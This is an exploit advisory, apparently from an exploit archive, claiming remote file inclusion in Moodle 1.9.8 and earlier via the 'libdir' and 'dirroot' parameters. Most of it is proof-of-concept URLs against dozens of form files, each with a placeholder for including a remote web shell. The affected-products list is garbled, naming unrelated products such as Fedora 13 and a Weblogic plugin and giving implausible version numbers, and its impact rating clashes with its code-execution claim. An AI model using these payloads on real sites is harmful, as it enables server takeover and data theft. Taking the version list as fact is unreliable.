Moodle 1.9.8 Remote File Inclusion

`  
########################################################  
  
[+]Title: Moodle 1.9.8+ ("libdir" , "dirroot") RFI Vulnerability Exploit  
[+]TesTed On: Version 1.9.8+ and Prior  
[+]Download: http://download.moodle.org/stable19/  
[+]Discovered by: eidelweiss  
[+]Contact: eidelweiss[at]cyberservices[dot]com   
  
[!]Thank`s To: exploit-db team , JosS (hack0wn) , sp3x (securityreason) , r0073r & 0x1D (inj3ct0r) , [D]eal [C]yber and all my friends  
  
########################################################  
  
BACKGROUND :  
  
Moodle is a Course Management System (CMS), also known as a Learning Management System (LMS) or a Virtual Learning Environment (VLE).  
It is a Free web application that educators can use to create effective online learning sites.  
  
***********************  
  
-=[Vulnerability Description]=-  
  
Moodle v.1.9.8+ is Prone to Remote File Include exploit.  
  
Input passed to the "libdir" and "dirroot" parameter in multiple files is not properly verified before being used to include files.  
This can be exploited to execute arbitrary PHP code by including files from local or external resources (rfi) and also can be exploited to disclose full user names of other users (lfi).  
  
Access Vector: Network exploitable  
Access Complexity: High  
Authentication: Not Required to exploit  
Impact Type:Allows unauthorized disclosure of information  
  
Remote: Yes  
Local: Yes  
  
-=[ Vulnerable / Affected ]=-  
  
Moodle moodle 1.9.8+  
Moodle moodle 1.9.x  
Moodle moodle 1.8.x  
Moodle moodle 1.7.7 and Prior  
Moodle moodle 1.5.2 and Prior  
Moodle moodle 1.4.3 and Prior  
Moodle moodle 1.3.4 and Prior  
Moodle moodle 1.2.1 and Prior  
Moodle moodle 1.9 and Prior  
Moodle moodle 1.7.7+  
Moodle moodle 1.7  
Moodle moodle 1.6.9+  
Moodle moodle 1.6.1 +  
Moodle moodle 1.18.2.3  
Moodle moodle 1.18.2.2  
RedHat Fedora 13  
BEA Systems Weblogic Proxy Plugin 1.5.3 +  
BEA Systems Weblogic Proxy Plugin 1.5.3  
Moodle - Joomla Integration  
  
  
  
-=[ Vuln C0de ]=-  
  
1. Input passed to the "libdir" and "dirroot" parameter in multiple files is not properly verified before being used to include files.  
This can be exploited to execute arbitrary PHP code by including files from local or external resources (rfi) and also can be exploited to disclose full user names of other users (lfi).  
  
2. No sanitize , not defined and No Login require for :   
  
<?***  
require_once($CFG->libdir.'/formslib.php');  
***?>  
  
(moodle/admin/uploaduser_form.php)  
(moodle/admin/uploadpicture_form.php)  
(moodle/blog/edit_form.php)  
(moodle/course/edit_form.php)  
(moodle/course/recent_form.php)  
(moodle/course/moodleform_mod.php)  
(moodle/course/reset_form.php)  
(moodle/course/delete_category_form.php)  
(moodle/course/request_form.php)  
(moodle/grade/edit/letter/edit_form.php)  
(moodle/grade/edit/outcome/edit_form.php)  
(moodle/grade/edit/scale/edit_form.php)  
(moodle/grade/edit/settings/form.php)  
(moodle/grade/edit/tree/category_form.php)  
(moodle/grade/edit/tree/outcomeitem_form.php)  
(moodle/grade/edit/tree/calculation_form.php)  
(moodle/grade/edit/tree/grade_form.php)  
(moodle/grade/export/grade_export_form.php)  
(moodle/grade/import/grade_import_form.php)  
(moodle/login/signup_form.php)  
(moodle/login/change_password_form.php)  
(moodle/login/restored_password_form.php)  
(moodle/mod/forum/post_form.php)  
(moodle/mod/glossary/comment_form.php)  
(moodle/notes/edit_form.php)  
(moodle/question/contextmove_form.php)  
(moodle/question/move_form.php)  
(moodle/question/category_form.php)  
(moodle/question/contextmoveq_form.php)  
(moodle/question/export_form.php)  
(moodle/question/import_form.php)  
  
*********************** -=[P0C]=- ***********************  
  
http://127.0.0.1/moodle/admin/uploaduser_form.php?libdir=  
http://127.0.0.1/moodle/admin/uploadpicture_form.php?libdir=  
http://127.0.0.1/moodle/blog/edit_form.php  
http://127.0.0.1/moodle/course/edit_form.php  
http://127.0.0.1/moodle/course/recent_form.php  
http://127.0.0.1/moodle/course/moodleform_mod.php  
http://127.0.0.1/moodle/course/reset_form.php  
http://127.0.0.1/moodle/course/delete_category_form.php  
http://127.0.0.1/moodle/course/request_form.php  
http://127.0.0.1/moodle/grade/edit/letter/edit_form.php  
http://127.0.0.1/moodle/grade/edit/outcome/edit_form.php  
http://127.0.0.1/moodle/grade/edit/scale/edit_form.php  
http://127.0.0.1/moodle/grade/edit/settings/form.php  
http://127.0.0.1/moodle/grade/edit/tree/category_form.php  
http://127.0.0.1/moodle/grade/edit/tree/outcomeitem_form.php  
http://127.0.0.1/moodle/grade/edit/tree/calculation_form.php  
http://127.0.0.1/moodle/grade/edit/tree/grade_form.php  
http://127.0.0.1/moodle/grade/export/grade_export_form.php  
http://127.0.0.1/moodle/grade/import/grade_import_form.php  
http://127.0.0.1/moodle/login/signup_form.php  
http://127.0.0.1/moodle/login/change_password_form.php  
http://127.0.0.1/moodle/login/restored_password_form.php  
http://127.0.0.1/moodle/mod/forum/post_form.php  
http://127.0.0.1/moodle/mod/glossary/comment_form.php  
http://127.0.0.1/moodle/notes/edit_form.php  
http://127.0.0.1/moodle/question/contextmove_form.php  
http://127.0.0.1/moodle/question/move_form.php  
http://127.0.0.1/moodle/question/category_form.php  
http://127.0.0.1/moodle/question/contextmoveq_form.php  
http://127.0.0.1/moodle/question/export_form.php  
http://127.0.0.1/moodle/question/import_form.php  
  
########################################################  
  
-=[ Other Vuln C0de ]=-  
  
[-] moodle/lib/textlib.class.php  
  
/// Required files  
require_once($CFG->libdir.'/typo3/class.t3lib_cs.php'); // line 28  
require_once($CFG->libdir.'/typo3/class.t3lib_div.php'); // line 29  
  
*********************** -=[P0C]=- ***********************  
  
http://127.0.0.1/moodle/lib/textlib.class.php?libdir= [inj3ct0r shell]  
  
########################################################  
[-] moodle/group/group_form.php  
  
require_once($CFG->dirroot.'/lib/formslib.php'); // line 3  
  
*********************** -=[P0C]=- ***********************  
  
http://127.0.0.1/moodle/group/group_form.php?dirroot= [inj3ct0r shell]  
  
########################################################  
  
-=[ Other Vuln C0de ]=-  
  
  
[-] moodle/my/pagelib.php  
  
require_once($CFG->libdir.'/pagelib.php'); // line 3  
  
*********************** -=[P0C]=- ***********************  
  
http://127.0.0.1/moodle/my/pagelib.php?libdir= [sh3ll inj3ct0r]  
  
########################################################  
  
-=[ Other Vuln C0de ]=-  
  
[-] /moodle/tag/pagelib.php  
  
<?php  
  
require_once($CFG->libdir.'/pagelib.php'); // line 3  
require_once('lib.php');  
  
*********************** -=[P0C]=- ***********************  
  
http://127.0.0.1/moodle/tag/pagelib.php?libdir= [inj3ct0r sh3ll]  
  
########################################################  
  
[-] moodle/course/editcategory_form.php  
  
require_once ($CFG->dirroot.'/course/moodleform_mod.php'); // line 2  
  
*********************** -=[P0C]=- ***********************  
  
http://127.0.0.1/moodle/course/editcategory_form.php?dirroot= [sh3ll inj3ct0r]  
  
*********************** etc, etc, etc, ***********************   
  
####################=[E0F]=####################  
`